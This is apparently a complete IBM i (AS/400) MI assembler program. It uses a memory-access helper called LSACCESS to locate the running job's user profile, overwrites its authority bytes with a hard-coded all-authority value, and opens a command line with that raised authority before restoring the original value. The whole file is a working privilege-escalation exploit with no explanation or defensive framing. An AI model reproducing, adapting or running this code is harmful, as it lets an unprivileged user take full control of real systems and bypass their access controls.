DCL SPCPTR .MPTR INIT(MPTR);
DCL DD MPTR CHAR(16) BDRY(16);
    DCL SPCPTR .SPCPTR             DEF(MPTR) POS(1);
    DCL DD MPTR-POINTER   CHAR(16) DEF(MPTR) POS(1); /*REDEF*/
        DCL DD MPTR-ADDRESS BIN(4) DEF(MPTR-POINTER) POS(13);
    DCL DD MPTR-SEGMENT    CHAR(5) DEF(MPTR-POINTER) POS( 9);
    DCL DD MPTR-OFFSET     CHAR(3) DEF(MPTR-POINTER) POS(14);

DCL DD DATA CHAR(512) BDRY(16);
DCL SPCPTR .DPTR INIT(DPTR);
DCL DD      DPTR CHAR(16) BDRY(16);
    DCL SPCPTR .DATA DEF(DPTR) POS(1) INIT(DATA);

DCL SPCPTR .LENGTH INIT(LENGTH);
DCL DD      LENGTH BIN(4) INIT(512);

DCL SYSPTR .LSACCESS;
DCL OL ACCESS-GET (.MPTR, .DPTR, .LENGTH) ARG;
DCL OL ACCESS-PUT (.DPTR, .MPTR, .LENGTH) ARG;

DCL DD RESOLVE CHAR(34);
    DCL DD RESOLVE-TYPE CHAR( 2) DEF(RESOLVE) POS( 1) INIT(X'0201');
    DCL DD RESOLVE-NAME CHAR(30) DEF(RESOLVE) POS( 3);
    DCL DD RESOLVE-AUTH CHAR( 2) DEF(RESOLVE) POS(33) INIT(X'0000');

DCL SYSPTR .SEPT(6440) BAS(@SEPT);
DCL DD PCO CHAR(256) BASPCO;
   DCL SPCPTR @SEPT  DEF(PCO) POS( 1);

DCL DD PCO-POINTER CHAR(16) BDRY(16);
    DCL SPCPTR .PCO DEF(PCO-POINTER) POS( 1);

DCL DD INITIAL-AUTHORITY CHAR(8);

DCL SPCPTR .PROGRAM INIT(PROGRAM);
DCL DD      PROGRAM CHAR(77) BDRY(16);
    DCL DD  PGM-BYTES-PRV      BIN(4) DEF(PROGRAM) POS( 1) INIT(77);
    DCL DD  PGM-LIB-TYPE     CHAR(02) DEF(PROGRAM) POS(10);
    DCL DD  PGM-LIB-NAME     CHAR(30) DEF(PROGRAM) POS(12);

DCL SPCPTR .THE-STACK;
DCL DD      THE-STACK CHAR(8) AUTO  BDRY(16);
    DCL DD  STK-BYTES-PRV      BIN(4) DEF(THE-STACK) POS( 1);
    DCL DD  STK-BYTES-AVL      BIN(4) DEF(THE-STACK) POS( 5);
    DCL DD  STK-NBR-OF-ENTRIES BIN(4) DEF(THE-STACK) POS( 9);
    DCL DD  STK-ENTRY(1)    CHAR(128) DEF(THE-STACK) POS(17);

DCL DD THE-ENTRY CHAR(128) BDRY(16);
    DCL SYSPTR .THE-ENTRY-PGM DEF(THE-ENTRY) POS(33);

DCL SYSPTR .OWN-LIB;

/*******************************************************************/

ENTRY * EXT;
    CPYNV      STK-BYTES-PRV, 8; /* MINIMUM */
    SETSPP    .THE-STACK, THE-STACK;
    MATINVS   .THE-STACK, *;
    MODASA    .THE-STACK, STK-BYTES-AVL;

    CPYNV      STK-BYTES-PRV, STK-BYTES-AVL;
    SETSPP    .THE-STACK, THE-STACK;
    MATINVS   .THE-STACK, *;

    OVRPGATR   1, 2; /* DO NOT CONSTRAIN ARRAY REFS */
    CPYBWP     THE-ENTRY, STK-ENTRY(STK-NBR-OF-ENTRIES);
    MATPTR    .PROGRAM, .THE-ENTRY-PGM; /* MYSELF */
    CPYBLA     RESOLVE-TYPE, PGM-LIB-TYPE;
    CPYBLA     RESOLVE-NAME, PGM-LIB-NAME;
    RSLVSP    .OWN-LIB, RESOLVE, *, *;

RESOLVE-PGMS:
    CPYBLA     RESOLVE-TYPE, X'0201';
    CPYBLAP    RESOLVE-NAME, "LSACCESS" , " ";
    RSLVSP    .LSACCESS, RESOLVE, .OWN-LIB, *;

GET-INITIAL-AUTHORITY:
    SETSPP    .PCO, PCO;

    CPYNV      LENGTH, 512;
    CPYBLA     MPTR-POINTER, PCO-POINTER;
    CALLI      GET-DATA-AT-POINTER, *, .GET-DATA-AT-POINTER;

    CPYBLA     MPTR-POINTER, DATA(145:16); /* 90H USER PROFILE   */
    CALLI      GET-DATA-AT-POINTER, *, .GET-DATA-AT-POINTER;
    CPYBLA     INITIAL-AUTHORITY, DATA(257:8); /* 100H AUTHORITY */

RAISE-AUTHORITY:
    CPYNV      LENGTH, 512;
    CPYBLA     MPTR-POINTER, PCO-POINTER;
    CALLI      GET-DATA-AT-POINTER, *, .GET-DATA-AT-POINTER;

    CPYBLA     MPTR-POINTER, DATA(145:16); /* 90H USER PROFILE */
    CALLI      GET-DATA-AT-POINTER, *, .GET-DATA-AT-POINTER;
    CPYBLA     DATA(1:8), X'FFE00000FF7800FF';

CHANGE-AUTHORITY-HI:
    CPYNV      LENGTH, 8;
    ADDN(S)    MPTR-ADDRESS, 256; /* 100H AUTHORITY */
    CALLI      PUT-DATA-AT-POINTER, *, .PUT-DATA-AT-POINTER;

SHOW-COMMAND-LINE:
    CALLX     .SEPT(1852), *, *;

RESTORE-AUTHORITY:
    CPYNV      LENGTH, 512;
    CPYBLA     MPTR-POINTER, PCO-POINTER;
    CALLI      GET-DATA-AT-POINTER, *, .GET-DATA-AT-POINTER;

    CPYBLA     MPTR-POINTER, DATA(145:16); /* 90H USER PROFILE */
    CALLI      GET-DATA-AT-POINTER, *, .GET-DATA-AT-POINTER;
    CPYBLA     DATA(1:8), INITIAL-AUTHORITY;
 /* CPYBLA     DATA(1:8), X'E06000000E000000';  QUSER */

CHANGE-AUTHORITY-LO:
    CPYNV      LENGTH, 8;
    ADDN(S)    MPTR-ADDRESS, 256; /* 100H AUTHORITY */
    CALLI      PUT-DATA-AT-POINTER, *, .PUT-DATA-AT-POINTER;

EXIT:
    RTX        *;

DCL INSPTR .GET-DATA-AT-POINTER;
ENTRY       GET-DATA-AT-POINTER INT;
    CPYBREP    MPTR-OFFSET, X'00';
    CALLX     .LSACCESS, ACCESS-GET, *;
    B         .GET-DATA-AT-POINTER;

DCL INSPTR .PUT-DATA-AT-POINTER;
ENTRY       PUT-DATA-AT-POINTER INT;
    CALLX     .LSACCESS, ACCESS-PUT, *;
    B         .PUT-DATA-AT-POINTER;

PEND;